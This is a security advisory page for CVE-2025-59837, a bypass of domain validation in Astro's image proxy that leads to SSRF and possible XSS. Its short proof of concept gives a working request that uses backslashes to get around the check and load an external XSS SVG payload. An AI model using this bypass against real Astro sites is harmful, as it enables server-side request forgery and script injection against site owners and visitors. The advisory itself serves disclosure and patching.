high7.2
CVE-2025-59837
Astro's bypass of image proxy domain validation leads to SSRF and potential XSS
Impact
### Summary This is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\`) - the endpoint still issues a server-side fetch. ### PoC [https://astro.build/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | astro | >= 5.13.4, < 5.13.10 | 5.13.10 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Astro | Astro | from 5.13.4 before 5.13.10 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4
- https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252
- https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2
- https://github.com/advisories/GHSA-qcpr-679q-rhm2
- https://nvd.nist.gov/vuln/detail/CVE-2025-59837